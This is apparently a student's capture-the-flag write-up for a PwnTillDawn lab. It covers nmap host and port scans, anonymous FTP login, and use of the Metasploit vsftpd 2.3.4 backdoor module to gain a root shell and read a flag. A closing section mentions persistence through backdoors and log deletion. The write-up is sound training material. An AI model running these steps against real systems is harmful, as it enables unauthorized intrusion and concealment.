WRITE – UP

```
┌──(yana㉿kali)-[~/Desktop]
└─$ sudo openvpn PwnTillDawn.ovpn
[sudo] password for yana:
2026-04-07 17:02:01 WARNING: Compression for receiving enabled. Compression h
as been used in the past to break encryption. Sent packets are not compressed
 unless "allow-compression yes" is also set.
```

```
2026-04-07 17:13:55 Using peer cipher 'AES-256-CBC'
2026-04-07 17:13:55 Preserving previous TUN/TAP instance: tun0
2026-04-07 17:13:55 Initialization Sequence Completed
2026-04-07 17:13:55 Data Channel: cipher 'AES-256-CBC', auth 'SHA256', peer-i
```

The VPN connection was successfully established using OpenVPN, as indicated by the "Initialization Sequence Completed" message. This enables secure access to the lab network for further testing.

```
┌──(yana㉿kali)-[~]
└─$ nmap -sn 10.150.150.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-07 17:03 +08
Nmap scan report for 10.150.150.2
Host is up (0.17s latency).
Nmap scan report for 10.150.150.11
Host is up (2.8s latency).
Nmap scan report for 10.150.150.12
Host is up (0.17s latency).
Nmap scan report for 10.150.150.13
Host is up (0.53s latency).
Nmap scan report for 10.150.150.15
Host is up (0.19s latency).
Nmap scan report for 10.150.150.17
Host is up (0.62s latency).
Nmap scan report for 10.150.150.18
Host is up (0.39s latency).
Nmap scan report for 10.150.150.21
Host is up (0.19s latency).
Nmap scan report for 10.150.150.27
Host is up (3.6s latency).
Nmap scan report for 10.150.150.48
Host is up (0.65s latency).
Nmap scan report for 10.150.150.55
Host is up (0.20s latency).
Nmap scan report for 10.150.150.56
Host is up (0.20s latency).
```

A network scanning process was performed using the Nmap tool to identify active hosts within the target network. The command nmap -sn 10.150.150.0/24 was used to perform a ping scan across the subnet. This scan identifies which IP addresses are online without scanning for open ports. Based on the results, multiple active hosts were discovered, including the target IP address 10.150.150.12, which was selected for further analysis and exploitation. This step represents the reconnaissance phase in the system hacking process, where information about the network is gathered before conducting deeper analysis.

```
┌──(yana㉿kali)-[~]
└─$ nmap -sC -sV -T4 10.150.150.12
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-07 17:13 +08
Note: Host seems down. If it is really up, but blocking our ping probes, try
-Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.28 seconds
```

An initial port scanning attempt was performed using the command nmap -sC -sV -T4 10.150.150.12 to identify open ports and running services on the target machine. However, the result indicated that the host appeared to be down. This may occur when the target system blocks ICMP ping requests. Therefore, additional scanning techniques were required to bypass this limitation. To overcome this issue, the -Pn option was later used to disable host discovery and force Nmap to treat the target as online for further scanning.

```
┌──(yana㉿kali)-[~]
└─$ nmap -sC -sV -T4 -Pn 10.150.150.12
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-07 17:14 +08
Nmap scan report for 10.150.150.12
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.66.66.222
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
|   3072 1f:bc:e3:e3:5b:eb:ff:b2:30:a7:4c:33:11:bf:67:a3 (RSA)
|   256 c8:e4:18:29:59:d0:4e:ea:dc:05:50:bc:d5:6f:e5:00 (ECDSA)
|_  256 58:d5:70:6d:0d:80:71:0a:ba:8e:1c:7a:c7:37:2f:e2 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
```

A detailed port scanning and service enumeration process was then conducted using the command nmap -sC -sV -T4 -Pn 10.150.150.12. The results revealed that port 21 (FTP) and port 22 (SSH) were open. The FTP service was identified as **vsftpd version 2.3.4**, which is known to contain a backdoor vulnerability. Additionally, anonymous FTP login was allowed, indicating a weak security configuration. Based on these findings, the target system was confirmed to be vulnerable and suitable for further exploitation.

```
┌──(yana㉿kali)-[~]
└─$ ftp 10.150.150.12
Connected to 10.150.150.12.
220 Through the portal ... - into nothingness or bliss?
Name (10.150.150.12:yana): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||39785|).
150 Here comes the directory listing.
226 Directory send OK.
```

Further enumeration was conducted by accessing the FTP service using the command ftp 10.150.150.12. The login was successfully performed using the username “anonymous” without requiring a valid password. This confirms that the FTP service allows anonymous access, which is considered a security misconfiguration. Although no sensitive files were found, this step highlights weak access control within the system.

```
┌──(yana㉿kali)-[~]
└─$ searchsploit vsftpd 2.3.4
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution     | unix/remote/17491.rb
vsftpd 2.3.4 - Backdoor Command Execution     | unix/remote/49757.py
---------------------------------------------- ---------------------------------
Shellcodes: No Results
```

The identified FTP service version (vsftpd 2.3.4) was further analyzed using the searchsploit tool to check for known vulnerabilities. The results showed that this version is associated with a **backdoor command execution vulnerability**. This confirms that the target system can be exploited using publicly available exploit modules.

```
┌──(yana㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor
```

The Metasploit Framework was launched using the msfconsole command to begin the exploitation process. Metasploit is a widely used penetration testing tool that provides a collection of exploits and payloads for testing system vulnerabilities.

```
       =[ metasploit v6.4.84-dev                          ]
+ -- --=[ 2,547 exploits - 1,309 auxiliary - 1,680 payloads     ]
+ -- --=[ 431 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check
  Description
   -  ----                                  ---------------  ----       -----
  ----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes
  VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No
  VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exp
loit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) >
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.150.150.12
RHOSTS => 10.150.150.12
```

Within Metasploit, the search vsftpd command was used to identify relevant exploit modules. The exploit module exploit/unix/ftp/vsftpd_234_backdoor was selected and configured by setting the target IP address using the command set RHOSTS 10.150.150.12.

```
[*] 10.150.150.12 - Command shell session 1 closed.  Reason: User exit
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.150.150.12:21 - Banner: 220 Through the portal ... - into nothingness o
r bliss?
[*] 10.150.150.12:21 - USER: 331 Please specify the password.
[+] 10.150.150.12:21 - Backdoor service has been spawned, handling ...
[+] 10.150.150.12:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 2 opened (10.66.66.222:35775 → 10.150.150.12:6200)
 at 2026-04-07 18:01:01 +0800
```

The exploit was executed using the run command. The exploitation was successful, as indicated by the message “Command shell session opened.” The system returned uid=0(root), confirming that root-level access was obtained. This demonstrates that the attacker has full control over the target system.

```
whoami
root
```

After gaining access, the whoami command was executed to verify the privilege level. The output returned “root,” confirming that the highest level of access was achieved.

```
ls /root
FLAG1.txt
```

Next, the contents of the root directory were listed using the command ls /root. A file named FLAG1.txt was discovered, indicating the presence of a proof of compromise file.

```
cat /root/FLAG1.txt
5ee499eb5d0b8e4269b13483e57adaa0b3815f48
```

Finally, the contents of the file were accessed using the command cat /root/FLAG1.txt. The output revealed a unique flag value, confirming that the system was successfully compromised. This marks the completion of the exploitation process, demonstrating a full system breach.

6 Stages of System Hacking

1) Reconnaissance

The reconnaissance phase involves gathering initial information about the target network without directly interacting with the system. In this lab, a ping scan was performed using the command nmap -sn 10.150.150.0/24 to identify active hosts within the network range. This step helps the attacker understand the network structure and identify potential targets. Based on the scan results, multiple active IP addresses were discovered, and the target IP **10.150.150.12** was selected for further analysis due to its availability.

2) Scanning

During the scanning phase, a more detailed analysis of the target system was conducted to identify open ports and running services. Initially, the scan using nmap -sC -sV -T4 10.150.150.12 indicated that the host appeared to be down. To overcome this, the -Pn option was used to bypass host discovery. A successful scan using nmap -sC -sV -T4 -Pn 10.150.150.12 revealed that port 21 (FTP) and port 22 (SSH) were open. This phase is important as it provides insight into potential entry points that can be exploited.

3) Enumeration

In the enumeration phase, detailed information about the identified services was gathered. The FTP service was accessed using the command ftp 10.150.150.12, and anonymous login was successfully performed. This indicates a misconfiguration in the system, as it allows unauthenticated users to access the service. Although no files were retrieved from the FTP directory, this step confirmed that the service was accessible and weakly secured. Additionally, the service version identified earlier (vsftpd 2.3.4) was analysed using the searchsploit tool, confirming the presence of a known backdoor vulnerability.

4) Gaining Access

The gaining access phase involves exploiting identified vulnerabilities to enter the system. In this lab, the vulnerability in vsftpd 2.3.4 was exploited using the Metasploit Framework. The exploit module exploit/unix/ftp/vsftpd_234_backdoor was selected and configured with the target IP address. Upon executing the exploit using the run command, a command shell session was successfully opened. This demonstrates that the attacker was able to bypass system security and gain access through the vulnerable service.

5) Privilege Escalation

After gaining initial access, the next step is to obtain higher privileges within the system. In this case, the exploit directly provided root-level access, as indicated by uid=0(root). This was further verified using the whoami command, which returned “root”. Having root privileges means the attacker has full control over the system, including access to all files, configurations, and administrative functions. This represents a complete compromise of the target machine.

6) Maintain Access

The final stage involves maintaining access to the compromised system and removing traces of the attack. Although this step was not performed in the lab, an attacker could maintain access by installing backdoors or creating persistent user accounts. Additionally, logs could be modified or deleted to avoid detection. These actions would allow the attacker to retain control over the system for future use while minimizing the risk of being discovered.